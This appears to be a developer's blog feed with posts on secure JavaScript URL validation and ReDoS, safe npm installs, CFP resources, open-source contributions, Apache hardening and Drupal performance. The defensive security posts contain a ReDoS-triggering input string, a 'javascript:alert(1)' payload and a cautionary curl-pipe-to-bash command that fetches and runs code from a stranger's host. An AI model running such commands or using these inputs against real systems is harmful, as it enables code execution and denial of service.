SVGBackgrounds is a collection of SVG background patterns that you can use as a background for your website. It’s free to use and you can download the SVG files. It was created by Matt.

Website: https://svgbackgrounds.com

HeroPatterns

HeroPatterns is a website that helps with creating background images that are aimed towards web Hero section. It offers a collection of repeatable SVG background patterns for you to use on your web projects.

Website: https://www.heropatterns.com

Brandbird

Website: https://brandbird.app/studio

Are you also validating a JavaScript URL using RegEx?

Fri, 28 Oct 2022 00:00:00 GMT

What do you think of the following JavaScript URL validation function code? Are you accidentally adding security issues while trying to build a feature?

The Snyk blog features a Secure JavaScript URL validation article about the importance of security traits and secure best practices with regards to handling a JavaScript URL.

I shared the following code snippet on Twitter to see folks make of it and whether someone would be calling out security issues:

function checkUrlIsValid (string) {
    let givenURL ;
    try {
        givenURL = new URL (string);
    } catch (error) {
        console.log ("error is", error);
       return false; 
    }
    return true;
  }

The replies varied pretty much and included some interesting perspectives and potential security vectors that folks might not be aware of, which we will cover in this article. But standing out were replies that suggested to use regular expressions (RegEx) to validate a URL.

Using a RegEx to perform validation isn’t new, and in fact, an often used approach by developers when they need to perform string matching or string manipulation. In fact, even the popular validator npm package uses RegEx to validate data formats in strings. But is it the right approach? What sort of security concerns does RegEx exposes us to? Let’s find out.

Regular Expression Denial of Service

Due to how some RegEx engines work, they can be vulnerable to a type of attack called Regular Expression Denial of Service (ReDoS). This happens because of an implementation detail in the RegEx engine that is known as catastrophic backtracking.

The fact that escapes most when dealing with Regular Expressions is that RegEx expressions are CPU-bound.

For JavaScript and Node.js, both being single-threaded environments for the main event loop that handles runtime JavaScript code, this would be disastrous. A ReDoS attack can cause a Node.js process to completely halt and stop responding to any HTTP requests.

Consider the following function that uses a RegEx to validate a URL:

function checkUrlIsValidFast (string) {

    var ip = '(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])(?:\\.(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])){3}';
    var protocol = '(?:http(s?)\:\/\/)?';
    var auth = '(?:\\S+(?::\\S*)?@)?';
    var host = '(?:(?:[a-z\\u00a1-\\uffff0-9_]-*)*[a-z\\u00a1-\\uffff0-9]+)';
    var domain = '(?:\\.(?:[a-z\\u00a1-\\uffff0-9]-*)*[a-z\\u00a1-\\uffff0-9]+)*';
    var tld = '(?:\\.(?:[a-z\\u00a1-\\uffff]{2,}))\\.?';
    var port = '(?::\\d{2,5})?';
    var path = '(?:[/?#][^\\s"]*)?';
    var regex = '(?:' + protocol + '|www\\.)' + auth + '(?:localhost|' + ip + '|' + host + domain + tld + ')' + port + path;
  
    return new RegExp(regex, 'ig').test(string);
  }

  console.log(checkUrlIsValidFast('https://example.com'))
  // returns true

The regular expression validation above looks great, right?

Well, it’s not. It’s vulnerable to a ReDoS attack. Let’s see how. What if the attacker sends the following string as input for a URL:

  console.log(checkUrlIsValidFast('018137.113.215.4074.138.129.172220.179.206.94180.213.144.175250.45.147.1364868726sgdm6nohQ'))
  // returns true
  // but after like a million years.
  // goodluck ;-)

Your npm package validator is vulnerable to ReDoS

My personal advice when I’m asked about how to handle RegEx in situation where you need to validate a string is to avoid it completely if you can and use lower-order string manipulation functions instead.

The reason is that RegEx is a very powerful tool, but it’s also very complicated and can be very hard to get right. If you want some supporting evidence, I can offer at least two:

Cloudflare, an incredibly big Internet infrastructure provider, had suffered one if its biggest outages in history in 2016 due to a ReDoS vulnerability in one of their RegEx.
The validator npm package, which is used by millions of developers, has been found vulnerable to ReDoS time and time again.

If smart maintainers, many collaborators, and talented developers employed by Fortune500 public companies can’t get RegEx right, how can we expect the average developer to do so?

What else to worry about when validating URLs?

Other security aspects to consider when validating URLs:

Mike Samuel had offered advice about normalizing URLs in order to avoid different sort of injection payloads.
Gal Weizman had shown the classic javascript:alert(1) payload as that which gets passed through a new URL() parsing just fine, but is vulnerable still.
Ori Livni demonstrated how different URL schemes are possible to provide a valid URL (per new URL) but are often not what the developer would have expected.
Emily had hinted that a fast performing URL.isValid() would be a nice idea.

Getting better at RegEx

As I have mentioned in a follow-up tweet to the discussion about JavaScript URL validation:

for most of us, unless you are @TheDavisJam who practically wrote the book on regular expression denial of service and who is familiar with internal regex state machine engines.

I’ve put together a few resources that will be helpful to better understand ReDoS, its impact and how to avoid it:

Snyk’s ReDoS learning path
Cloudflare made available a dedicated page about ReDoS and how to avoid it.
Tim Kadlec’s Regular Expression Denial of Service (ReDoS) in Node.js guide about regular expression Catastrophic Backtracking.

Resources for Public Speaking and Conference CFP application

Fri, 21 Oct 2022 00:00:00 GMT

How do you find events to attend or speak at?

I often get asked that and in this article I’ll share the resources I use for CFP (Call for Papers / Proposals) application and public speaking at conferences.

I’ve been doing active public speaking for about 5 years now so some of this feels very natural to me already and I have developed my own mechanics of applying to conferences and submitting CFPs

A CFP template

How to structure your CFP application is a very important aspect of submitting a proposal. It’s not just about the content, but also about how you structure it and how you present it.

CFP Template by Colby Fayock is a way to organize and DRY up submitting your conference proposals. Another reference to is the following open source GitHub repository it lives on if you want to contribute or customize even further.

Conference tracking websites

There are dedicated websites that track events world-wide, as well as their dates for open CFP applications. Some are very specific to an ecosystem or domain, such as JavaScript or DevOps, and others are general lists.

The following are events and conference CFP listings you can track:

Some of the above are also available to consume as a newsletter, such as SeeCFP, which makes it easier to receive new upcoming events as a push.

Another website to call out is Sessionize which is a CFP platform, to actually manage the applications sent to events and for event organizers to track, rate them, and so on. But, it’s also possible to browse through events once you register to the Sessionize platform.

There are also open source GitHub repositories which track CFPs that you can watch for updates:

CFP Twitter

Twitter is a great signal for open CFPs and generally speaking, a good resource for tracking conferences.

Here are a few accounts and Twitter Lists worth mentioning:

TechDailyCFP
CallingAllPapers is the Twitter version of the website mentioned above
PHP CFPs
IT CFP List

DevRel Twitter Lists

Devocate’s DevRelPeeps
Chris Short’s DevRel-iens
Peter’s DevRel
Sebastien’s DevRel
Webchick’s DevRel & Community
KathyLam’s DevRel
Kin Lane’s DevRel
Michael Friedrich’s DevRel
Alex Moreno’s DevRel Pro
Daniele’s DevRel news
Alyss Noland’s Tech DevRel
Rob Axelsen’s DevRel

Developer Relations and Community newsletters

Another great resource of getting more familiar with Developer Relations and all about developer Community management are newsletters that focus on this domain explicitly.

These DevRel & Community newsletters also feature upcoming events, and open CFPs before they close.

DevRel and Community newsletters:

Tessa Kriesel’s newsletter Subscribe on her website
DevRel Weekly
Community Club Weekly
Developer Advocado’s Weekly

Do you know of other great resources that I should list here?
Hit me up at @liran_tal and let me know, I’ll add it to this article!

Open Source From Heaven, Modules From Hell

Sat, 26 Jan 2019 00:00:00 GMT

Knock knock. It’s 2019.

The past year has been perhaps the biggest yet for open source with several tech giants doubling down on open source investments.

Can you imagine yourself writing software without relying on an open source component?
Are you going to give up on a helpful library that gets something out of the way for you so you can focus on your domain logic? Even if technically possible, it’s probably not a choice you will consciously make in most occasions.

You set out to find a third-party for your project and find yourself immersed in a plethora of libraries that are laid out for you in a garden of code which we like to call “Nifty Poutine Meal”, also known as npm.

Scroll.

Next page.

“There it is!”

opens terminal and types in

$ npm install node-sqlite

WAIT!

Don’t hit return.

Let’s take a step back and evaluate what this is going to do by breaking it down step by step.

Understanding The Dangers of Module Installs

The very first thing to notice is that the npm client is running as the user you are logged in with and will assume the same permissions. While seemingly obvious, I am highlighting this because I’ve had colleagues calling me to review something and the first thing I noticed is that they are prefixing their npm commands with sudo, such as:

    $ sudo npm build

They followed this pattern because of a broken setup they had on their Mac and didn’t understand its implications. Regardless of the npm run-script you are calling, whether a build or an install step, there is virtually no reason to use npm as the root user or provide it any higher privileges than your work user.

With this in mind, let’s get back to the install command. However, before we step into it, I’d like to ask you how likely are you to run this command in your shell:

    $ curl https://node-sqlite.somestranger.sh | bash

It is my sincere hope that just the thought of running that command is completely disturbing for you, as it rightfully should. There will have to be a very compelling reason for anyone to justify fetching some stranger’s code off the Internet and piping it to a shell.

The same potentially happens when you run npm install. Modules in the npm ecosystem are allowed to define custom commands that will be executed during the installation step. For example, native modules that are written in C/C++ may require to run a compiler on your host machine so the bytecode is compatible with your CPU architecture.

The npm CLI client defines several life-cycle run-scripts that will be executed in different stages. Some examples are the preinstall run-script that will execute any command specified by the module being installed, or the prepublish run-script that will execute when the module is being published. The latter usually happens when a maintainer invokes the npm publish command to release a new version of their module.

Even scarier is the thought that whatever module you are installing off of npm has a very high chance of importing by itself other strangers code as well, and whose to say they are trusted or have been vetted?

One way to mitigate this concern is to advise the npm client not to run any lifecycle scripts. This can be done either by setting a global configuration, a per-project configuration using an .npmrc or by specifying an ad-hoc command argument.

For example:

  $ npm config set ignore-scripts true
  $ echo “ignore-scripts=true” > .npmrc
  $ npm install node-sqlite —ignore-scripts

The implications of this setting are:

Due to disabling install lifecycle scripts, builds for things such as native modules will break.
Any invocation of any run-script will fail.

The first implication may be annoying at times, but the second is going to make life miserable for anyone who interacts with the npm CLI in a regular manner which is probably most developers.

While all of this is a worrying concern, it is not even the entire problem scope.

A module may not have any run-scripts defined for its installation phase, but at the same time nothing stops a malicious user to build such module that when “required” will create a child process and execute a command or anything of similar concern.

Safely installing packages with npq

This is why I set out to create npq.

npq is a drop-in enhancement for npm or yarn, with the purpose of running simple static checks for the packages you are about to install and allow you to weigh in on whether you actually want to continue with the installation process or abort right there because something looks, well, fishy.

Once you install npq, you can easily alias it to npm if that’s your favorite, and npq will just pass-through all commands to npm except for the case when you wish to install packages.

When you try to do that, npq will run several checks for every single package and its version that you specified in the command line and will provide you with the output findings.

If nothing of concern was found it will silently continue to install the packages, and when any of the checks failed it will prompt you in an interactive manner so you can make a conscious decision about continuing with the installation and accepting the risk.

npq is bundled with the following checks, which we refer to as marshalls:

Package maturity checks a package creation date, if it’s been more than 22 days since it was created this check will fail. The rationale behind this check is to prevent you from installing a malicious package that is new on the ecosystem.
Package downloads count will fail if a package has less than 20 downloads in the last month.
Package that has no README content will fail.
Package that has any pre or post-installation script will fail for the concern of possibly being malicious.
Incase you are using Snyk and are entitled to use the Snyk API npq will test if any of the packages and their versions being installed has a vulnerability associated with them.

Any of these marshalls can be enabled or disabled per your preference for checks to perform, but even when they are all enabled they should be treated as a minor aid in spotting potential malicious packages before you install, and shouldn’t be your last line of defense.

If you like the concept of npq I welcome you to join and participate in the project and suggest new marshalls or help improve existing marshalls by fine-tuning them and helping us create a more secure ecosystem so we can all enjoy open source safely.

Note: this article was originally posted at https://www.javascriptjanuary.com as part of 2019’s Advent of JavaScript series by Emily Freeman

The Dawn of Linux

Sun, 18 Sep 2016 08:37:30 GMT

Linux is all over the place. Seriously.

It is powering your smartphone, a drone network, NASA’s international space station, supercomputers, mainframes and your grandma’s IP webcam.

But how did it all start?

Back in August 1991, a young Finnish software engineer named Linus Torvalds hacked his way to create a free operating system.

He couldn’t even realize at that point how much of an impact it will have on the world today:

While discussion steers, Linus makes it pretty obvious that the Linux OS is so entirely integrated and dependent on the 386 processor architecture and it will be a nightmare to port it to other CPU/hardware.

Linus doesn’t promise it will be anything bigger than minix, but the Free Software spirit is something that Linus has embraced dearly as one who is living the hacker culture himself:

And here’s how software engineers do marketing:

Just a couple of months later and Linus is shooting out marketing messages to get more developers involved. He is definitely aiming at all those hackers just waiting to feed their curiosity.

Very quickly the Linux OS has matured towards developer-centric audience, and nowadays power our day to day gadgets and desktops.
Back in those days, many inter-related events were happening together — RMS’s free software movement, Linus’s free OS project, the rise of personal computers and telecommunications — all of which have contributed to the dawn of Linux.

My first encounter with Linux was when I was about 15.
My friend dropped a RedHat Linux 5 install on my laptop.
Everything changed for me then.

What was yours…?

Photo Credits: Wikipedia, Athanasios Kasampalis on Flickr
Source: https://www.cs.cmu.edu/~awb/linux.history.html

This is Open Source too: Contributing Documentation

Tue, 13 Sep 2016 14:41:49 GMT

So what does Open Source software mean in real life? I promise no fancy philosophies and day-long lectures by Richard Stallman about open source and free software.

Contributing documentation — yes that’s an open source thing too.Not everything is about code, and you don’t need to provide a patch to fix the Linux kernel for your contribution to matter. Any contribution is welcome!

Two weeks ago I started working on a Node.js API client for HPE’s Operations Orchestration product, and this software I’m building provides a console CLI for users to interact with the OO product.

Obviously to interact with the console there is going to be some library that someone else wrote for me to use, which can parse all the arguments and display a nice command usage output. Something like this:

The search for this library takes place in NPM, the largest repository of open source NodeJS packages, which quickly shows some popular libraries I can use, one of which is command-line-args

That library is gold!It does everything I need, it has tests and code coverage, maintained well, released often. Awesome. But then… I wanted to add some description to my command arguments yet couldn’t find anything in the documentation about it. Only after inspecting the source code a little bit further I’ve found references to a description property that can be configured.

So hey, I found the solution to my problem, that’s great, I’m all done with this library.But what if someone else will have the same problem in the future? They might be a little lazier and rule out this library just because it doesn’t seem to support a description configuration, which isn’t true, it’s just missing out from the documentation.

This is where open source shines! Here is how you contribute to open source in 3 easy steps:

Fork the original Github repository, in our case it is https://github.com/75lb/command-line-args
Now that you have your own copy of the repository, make changes to the md documentation on your own repo, commit and push them.
Create a Pull-Request, which is just Github terminology for merging and incorporating your changes with the original repository.

Your contribution will be appreciated, and addressed by the project maintainer:

And you also got yourself a new brother in the open source family :)

Docker setup for MEAN.JS JavaScript Development

Mon, 12 Sep 2016 00:00:00 GMT

Let me tell you how quickly you can get up and running with developing on the MEAN.JS JavaScript stack.

If you’re working on Linux, Windows, or OSX it’s simply a matter of lunching a pre-configured MEAN.JS environment included with all the goodies of:

live-reload for real-time updates when working on the frontend.
you can work with your favorite IDE on the code, and all changes are synced to the meanjs container.

The pre-requisite is that you have a local Docker environment installed (Docker Machine for Windows/OSX or the docker packages for Linux), and then it’s just a matter of:

git clone https://github.com/meanjs/mean.git
docker-compose up -d

Docker compose will be sure to mount the required local folders, setup also a dedicated mongodb container and build the meanjs web container. Once the meanjs container is built it will lunch npm start which in terms starts the current build system which is gulp.

Any DB updates will be kept on your local file system even the container is stopped/removed, and any changes you make on the server or frontend will trigger a refresh for the live-reload so it’s a breeze to develop.

Now, how about you join us the MEAN.JS repo to help out with issues and pull requests? :)

You too can contribute to AngularJS

Mon, 15 Aug 2016 08:45:36 GMT

You might have shrugged, and taken a few steps back to sit down and process this. Me? Contributing to AngularJS? there are probably more professional people than me to do it.

Wrong.

I could’ve replaced AngularJS with React, the Linux kernel, and Docker repositories and you would still be thinking the same.
Why is that?

It’s because you are thinking in terms of code. You are awe’ed by the size of the project.

You automatically assume that you can only contribute code, and that piece of PR must be perfect, and one that will rock the world of AngularJS people.

Wrong again.

Making the world better for other developers

I was busy one day with an issue related to AngularJS filters.
Do you know which built-in filters are available with Angular?

That’s right. I didn’t know either.

So I quickly found myself skimming through Angular’s developer guide for filters, and annoyingly, finding no reference there.
It looked somewhat like this:

Nothing too helpful there. Right? I thought the same.

It took me a few more minutes to find the right documentation page which lists all the built-in filters, but why on earth would I need to search for that when I’m already on the filters section?

One developer’s itch, is another repository’s Pull-Request

Obviously AngularJS team manages their documentation on GitHub I immediately thought to myself. And they do.

So it’s pretty automatic for me these days but it’s basically all about:

Open a PR
Submit the Markdown changes to update the text with a link to the proper page
Debate this with the AngularJS team to align text.

Boom bam, thank you ma’am — merged like a boss.

Next time you read the filters documentation at https://docs.angularjs.org/guide/filter you can thank me for the reference to built-in filters.

You’re welcome.

I contributed to Docker’s official repository but why did I send them a picture of an Elephant?!

Thu, 21 Jul 2016 15:42:03 GMT

Without having any formal experience with Docker in the past I was able to help the Docker project and contribute to the official repository and help other users. How? Here is the story.

It all began when I decided I’m ditching my Linux VM to go for the now de-facto standard of virtualization which is Docker containers.

My work laptop has to run Windows for corporate stuff so it’s a given that open source software install isn’t going to be straight-forward since those naturally run on Linux or UNIX variants OS.

I was bound to find myself scanning through the Docker docs and so I did.

The Problem

While going through the instructions at https://docs.docker.com/engine/userguide/containers/dockerrepos/- I noticed that the highlighted Note section about the config.json file is only referring to Linux users. Where should I find it if I’m on Windows? I’ve no idea how/where Docker Toolbox installs things.

The relevant section looked like this:

After locating the file for Windows being in my user’s home directory at C:\users\lirantal\.docker\config.json I realized that other readers would probably have the same question as well.

Suggesting a Solution

Being an active open source user I figured the docs might be hosted on GitHub as most projects do, and if they are not I could just email the docker support team and suggest to fix this.

Luckily, the docker docs are indeed available online so it’s now a matter of getting acquainted with the Contribution Guideline and submitting a fix.

Contributing a Fix the Open Source fashion

A screenshot of my Pull-Request shows the requirements to answer a few questions:

And you can also notice that this PR had quite a few messages (at least 16) exchanged until we resolved it.

The Contribution Guideline also requested me to add a picture of a cute animal and I know that my son adores Elephants so yay!
I can definitely google a friendly elephant and add it:

From that point, we exchanged quite a few ideas on how to better style the docs and a few options were provided. Once everyone was satisfied with the texts suggested I got the desired LGTM (Looks Good To Me) and my contribution was approved to later be included in the updated Docker documentation.

Worst ping time delays around the world?

Fri, 15 Jul 2016 09:21:09 GMT

Have you ever wondered what is the worst time delay ping from 2 cities around the world?

The winners are a ping sent from Dagupan, Philippines to Alblasserdam, Netherlands, which are here on the map:

The average ping is measured at a 815 ms latency.
Peak time ping latency reach to 1800 ms.

Statistics collected from: https://wondernetwork.com/pings/Dagupan/Alblasserdam

InfoSec — I can easily guess your Node.js server! Want to bet?

Mon, 06 Jun 2016 09:21:56 GMT

With the hope of raising awareness on information security topics, and the openness of the web I would like to take one step further to show how a basic configuration can help secure your Node.js web application.

Your Web Server Says hello!

A web server is commonly reporting about itself and tells the world its name and version. It does that by replying with a response header of X-Powered-By, for example: X-Powered-By: PHP/5.6

So the most common thing that frameworks in Node.js do is to remove this HTTP header. That is usually done using Helmet or ExpressJS built-in option, such as:

or:

That’s fine, but it’s not enough.

If you use cookies, then you probably use one of the most popular middleware _express-session_ which will has a default cookie name of _connect.sid_.

If you’re using some framework that wraps your whole application structure then you probably didn’t even dive deep there to review all the configurations and update this default setting.

The Danger Zone

The danger of leaving this cookie name as is comes from the fact that you are disclosing sensitive information on which environment and server details you are running your web application. Which in turn, help attackers target their exploit automation, or manual pen-tools tailored to your setup.

A Model of Open Source

The OWASP wiki has a lot of details related to information security and maintains a Cookies Database list where you can find out about all of the common names and extrapolate the web server environment details.

Once I sneak peaked at it I didn’t find the Node.js reference of the cookie name and then simply updated the wiki page to maintain an up to date list.

Sharing information is important to keep security up to date.

Also, I invite you to read my newly published book Essential Node.js Security

Andrew Milner Shaped My Childhood

Sat, 07 May 2016 13:37:13 GMT

Andrew Milner shaped my childhood. Google that name, I bet you a beer you’ve no idea who this guy is, and apparently Google isn’t helpful, so I’ll help out.

This begins with my early childhood days, being a teenager, in the early 90’s. Since I can remember myself I was caught up with computers, stereo systems, or any other technology I could get my hands on. I was altogether amazed by this notion of technology and learning more about it felt like a journey with no end.

One day this adventure took a hyper-drive — my mom and dad, surprised me with a morning I will never forget: I woke up for a school day, with my younger brother Yinon. I’m scratching my eyes and I’m not sure if I’m dreaming or not, but I’m seeing it. I’m looking at my very own modern computer — an Intel Pentium, 200mhz MMX.

That wasn’t my first computer experience. I had programmed early QBASIC at the age of 10, and spent a large amount of time at my friends house with their computer/modems, as well as at my dad’s office where we had a couple of 486s, but getting my own PC now that’s my kingdom!

Not long after, I’ve been able to spend even more time around computers, and have met great friends on one of Israel’s most popular The Master BBS by Oren Meir.

One of these friends was Ofir Michaeli. A great friend, and boy that was needed back then in those teenage times. Ofir quickly introduced me to the more broad BBS scene in Israel, and that immediately translated into getting my own dedicated phone line (can’t take that for granted back at around 95–96), my own BBS which I named after a hacker group in the 90’s: The Hacker’s Choice BBS.

Back to Andrew Milner. He wrote the BBS software RemoteAccess, which ran on a DOS OS, and was the fuel that powered my BBS. I used to wake up for that awesome modem sound at night, rush to sit in front of the screen, and meet the new geek that called my BBS, and begin another electronic adventure.

Most decisions in life are reversible

Mon, 11 Apr 2016 05:02:07 GMT

You might be the conservative character, the shy person, or possibly the one taking less risks when it comes to making decisions all around. If that’s the case, I want to let you in on a small tip: most decisions in life are reversible. Simple as that.

Decisions shape our lives, and they drive us to action, which further shapes our reality and day to day interaction with the world.

Whether you’re making decisions concerning your personal life, or decisions at work which may affect your career, and your colleagues, you must really take in this notion that most decisions you will make in life aren’t catastrophic, aren’t one-way and that’s it.

It’s not about being courageous, but embracing the fact that you can change things, even while they’re happening, and there’s always another way.

We faced a crucial decision in my team — our technology stack was way too distributed for the size of our R&D team, and encompassed frontend HTML, JavaScript, and CSS along with backend components of PHP/Drupal, Python, Pylon, and Java/Spring.

We needed to make a decision to unify our technology stack, and were curious about the Node.js ecosystem, and the MEAN stack in general.

It was easy to stay at the comfort zone of either of PHP, Python or Java and consolidate to one of them, but if Node.js would fit us, we were not afraid to venture into new realms, even if it meant that we needed to bridge that knowledge in the team, and quickly ramp-up developers and QA with the capabilities to start working in this technology ecosystem.

We indeed ended up creating a new backend component with the MEAN.JS framework, which has serves us well so far, and has even attributed to improved performance.

My manager’s probably best team building concept is Diversity

Mon, 04 Apr 2016 08:37:35 GMT

My manager’s probably best team building concept is Diversity. Why? read on and get some insight on building your next team to accomplish an amazingly performant, and adaptive team.

Our R&D group encompass about 20-ish team members all in all, which is quite small compared to most other groups in our company, and in our specific work site, yet it still wins in its member’s diversity on almost all accounts. When you look at diversity, it is easy to just look at the common variables like gender, or age, but true diversity in your team is more than that.

How strongly diverse our small team is? In age, we have engineers in their early 20s and engineers in their 40s. Ethnicity-wise, we have both religious and non-religious team members.

Going to lunch is easy with a small diverse team? think again. For food orientation, we have religious members who only eat kosher, then those who eat anything, and then we also have a vegan. Try booking a team lunch now I dare you.

You’d also think all engineers are with the same background because this is software engineering that we do? Some are computer sciences graduates, some are MBAs, or majoring in business or economics, others have university experience but no diploma, and some have masters. On gender diversity we’re having women account for a quarter of the team, and location-wise the team is almost fifty-fifty split between Romanian and Israeli R&D locations so we do pretty good on cultural diversity.

Steer Innovation

Creating innovative initiative and state of mind isn’t straight-forward for anyone, mainly because true innovation comes from passion, being open minded, thinking outside the box, and for some, even living outside the box, far far away from the box. That internal drive that innovators have you can’t really teach.

Having a diverse team though helps a lot. Many of your team members will have unique experiences, different world perspectives, and will want to blend in and share their own different idea. Diversity doesn’t skip the technological part, as our small team maintains products for the larger HP, developed in Java, Python, Drupal/PHP, and Node.JS (MEAN stack at large). That much fragmentation isn’t always fruitful but it surely leads to a significant innovative ideas, and variety of technical methodologies.

Captivate your customers

With a diverse team, which is also multicultural there are far better chances that when your team engages with customers they will be able to connect with them better. Our team is not a full-time customer support department, but when the team is so diverse, the support team is really made up of developers, QA, UX, functional architect, team and group leads.

When customer support gets that much wide-spread visibility through-out the group you can be sure we’re making it quite an experience for customers. Customers are not just all about support, sometimes our customers are our partners, and with a solid differentiated team members we’re also able to reflect better our customers and partners better.

How to do diversity right?

If you’re building a team I’d recommend you don’t choose them as soldiers, or robots. Your team doesn’t need to fit into any stencil or template. They may need to carry attributes which you are looking for, or other characteristics to diverse the team, but treat them as creative, and unique individuals and try to avoid common pitfalls like discrimination, and job requirements “must-haves” with regards to personal or even educational background.

Today, more than ever, people are more autodidacts. If you think your super stressing technological interview is good to filter out candidates, and to dismiss all of the non-university graduates or those with bad GPA grades then you’re probably wrong. Even Google already stated that all of their brainteasers and pre-judgement didn’t predict well how their recruits blended in the company (source: article on LinkedIn)

VeriGreen – lightweight, server side solution for verification of git commits

Mon, 16 Nov 2015 00:00:00 GMT

Verigreen – https://github.com – is a lightweight, server side solution for verification of git commits. Now open-sourced by HPE’s VeriGreen team.

Screenshots from old school UNIX, Linux and open source major developers

Sun, 01 Nov 2015 00:00:00 GMT

Screenshots from old school UNIX, Linux and open source major developers

https://anders.unix.se/2015/10/28/screenshots-from-developers–unix-people-2002

The Drupal Rap song – Everyday I’m Drupalin'

Mon, 13 Apr 2015 00:00:00 GMT

This YouTube video doesn’t need any further explanation beside it’s title: The Drupal Rap song – Everyday I’m Drupalin’

Lyrics:

Chorus

Everyday I’m drupalin

Verse

Where them forms you gettin fapi with I’m the fapi boss/ hookin into edit form and webforms is my specialty sauce/ I’ll hook form alter by form id’s or entities/ put a list on Ajax/ just to keep it callin back/

I got them distrobutions, I’m like acqia/
Check my public repos, I didn’t copy nuttin/ I know dries n webchick, I kno Ryan szrama/ all the commerce guys we hipchat when they got some drama/
Might not be pretty code but it gets me paid/ I’m using rules like php loopin through arrays/ I put it all in features, so the code is stable/ it might take longer, but next time I just click enable/ These dudes clearin caches, on every hook init/ queries by thousands, page loads by the minutes

Verse

No matter the language we compress it hard/ drugs cc all, we just drugs cc all/
Where’s all of the changes, you never saw/ so drush cc all, we just drugs cc all/ I lean heavy on smacss, compass compilin my sass/ you just installed flexslider now you teachin a class/
I seen your content types, I don’t need to kno you/ to know that we ain’t even in the same nodequeue/
I’m on drupal answers, check my reputation/ I’m on my tablet earnin karma while I’m on vacation/ ya girl like a module, she stay hookin n/ you couldn’t code an info file, without lookin in/
Mo scrums, equals better sprints, break the huddle, n the work begins

Music
- “Huslin” by Brotha Lynch Hung (iTunes)
Category
- Gaming
License
- Standard YouTube License

Thanks to New Valley Media for helping with the video http://www.newvalleymedia.com/
Thanks to Broadstreet Consullting http://www.broadstreetconsulting.net

Prevent clickjacking on Drupal and other Apache web applications

Thu, 12 Mar 2015 00:00:00 GMT

Security is an important aspect to keep an eye for, and this time it’s about preventing clickjacking on Drupal and other Apache web applications.

Edit apache’s configuration file, which may be your declared vhost or such, usually at a location like /etc/httpd/conf.d/default.conf and make sure the following

<IfModule mod_headers.c>
Header always append X-Frame-Options SAMEORIGIN
</IfModule>

This will disable embedding your website as an iFrame.

Apache Obfuscation by disabling trace and server tokens

Mon, 09 Mar 2015 00:00:00 GMT

Apache Obfuscation can be achieved very easily and the benefits are great – it doesn’t disclose server information such as versions, OS, and does output verbose errors when ‘bad things happen’, and they happen.

Edit apache configuration, usually available here for RedHat based distributions: /etc/httpd/conf/httpd.conf

Make sure the following settings are present, save, and restart apache:

TraceEnable Off  
ServerSignature Off  
ServerTokens Prod

How do we test that this is actually working?

How to TraceEnable

1. curl -v -X TRACE http://…  
2. Confirm you get a forbidden response

How test ServerTokens

Make a request to the website and check the response headers
Confirm the response contains only “Apache” information in the Server header

How to test ServerSignature

Make a request to the website for a URL that should respond with Apache server error
Confirm you don’t see information about the apache server software version, OS, etc.

Drupal Performance Tip – be humble on hook_init()

Mon, 12 Jan 2015 00:00:00 GMT

In the spirit of the computer video game Doom and its skill levels, we’ll review a few ways you can improve your Drupal speed performance and optimize for better results and server response time. These tips that we’ll cover may be at times specific to Drupal 6 versions, although you can always learn the best practices from these examples and apply them on your own code base.

Drupal is known for its plethora of hooks, and their use is abundant through-out any Drupal modules to plug into the way that Drupal works. That’s fine, though once you’ve decided you’re moving on with Drupal as your live web application/website and you’re using modules from the eco-system, that is when you need to spend some more time reviewing modules a little bit closer than just their download counts or issues on drupal.org

hook_init() runs on every page load. Imagine you’re having a few modules implementing this hook, then you already have impact on your server response time performance for every page access in Drupal. Maybe those modules have a very slight overhead there, maybe that’s part of what they do, and that’s fine, but it may at times benefit you to review and investigate if the code there, that maybe your team added too, is better being re-factored to some other place and not on every page load.

There is another perspective for it of course, maybe things do need to take place on every page load, but their implementation in the code might be faulty. Imagine you’re doing some expensive IO on every page load, like calling an API, or querying a heavy table. Maybe you can re-factor to cache this information?

Drupal Performance Tips: know your database

Mon, 15 Dec 2014 00:00:00 GMT

Doom skill levels: (easiest first)

Database indexes and SQL queries

This post is rated “I’m too young too die” difficulty level.

Drupal 6 shipped with all tables being MyISAM, and then Drupal 7 changed all that and shipped with all of its tables using the InnoDB database engine. Each one with its own strengths and weaknesses but it’s quite clear that InnoDB will probably perform better for your Drupal site (though it has quite a bit of fine tuning configuration to be tweaked on my.cnf).

Some modules, whether on Drupal 6, or those on Drupal 7 that simply upgraded but didn’t quite review all of their code, might ship with queries like SELECT COUNT() which if you have migrated your tables to InnoDB (or simply using Drupal 7) then this will hinder on database performance. That’s mainly because InnoDB and MyISAM work differently, and where-as this proved as quite a fast responding query being executed on a MyISAM database which uses the main index to store this information, for InnoDB the situation is different and will result in doing a full table scan for the count. Obviously, on an InnoDB configuration running such queries on large tables will result in very poor performance

Note to ponder upon – what about the Views module which uses similar type of COUNT() queries to create the pagination for its views?

Removing unused modules

If you’re using a Drupal distribution which is great for kick-starting a project with many features built-in, you should still review added modules which are managed through the installation profile as they might prove un-necessary for your product as time goes and your product evolves and matures. Remember that even if you’re not using a distribution, you might have added some modules to meet a functionality, which you no longer use and you disabled through CSS, through the menus, through the theme, but you forgot all about removing the actual module. These un-used modules account for memory footprint as they are loaded through PHP and they can also account for Drupal hooks, which is even worse in terms of performance for you.

Remember to review your installed modules base on Drupal and remove any un-used functionality:

Replace views blocks with vanilla blocks

When we start out building Drupal websites, we gradually build functionality and a common use case is creating a view, then you might want to create some blocks, very much related to the view, so you create a block view using the Views module. Then you maybe combine it with Panels or Context, it doesn’t really matter, but essentially you’ve been using the UI tools which are for ease of use, and the overhead for that lies in quite a bit of abstraction layer which later may cost in performance. Replacing the quicklinks and help and support blocks that were used in our theme’s sidebar from being a view based block to a simple programmatiaclly created block implementation proved to reduce a sizzling amount of ~200ms to ~2ms of server time spent on doing the same operation. That accounted for about ~200ms of page load time redduction for each page load, as this item was featured in many pages consistently on our theme.

know your DB engines

Note to ponder upon – what about the Views module which uses similar type of COUNT() queries to create the pagination for its views?

be humble on hook_init()

Drupal Performance Tip – 'I’m too young to die' – indexes and SQLs

Wed, 12 Nov 2014 00:00:00 GMT

Using indexes, and proper SQL queries can boost performance by a huge factor, especially if the affected tables are very big (millions of rows). Take a look at the diff below showing a fix to a not so proper, and ill-advised use of querying the database:

The bad performing query took anything between 6 to 60 seconds to run, depending on the data, and database load, and database’s current cache state. The newer query takes milliseconds.

Drupal Performance Tip – removing unused modules

Wed, 12 Nov 2014 00:00:00 GMT

Remember to review your installed modules base on Drupal and remove any un-used functionality:

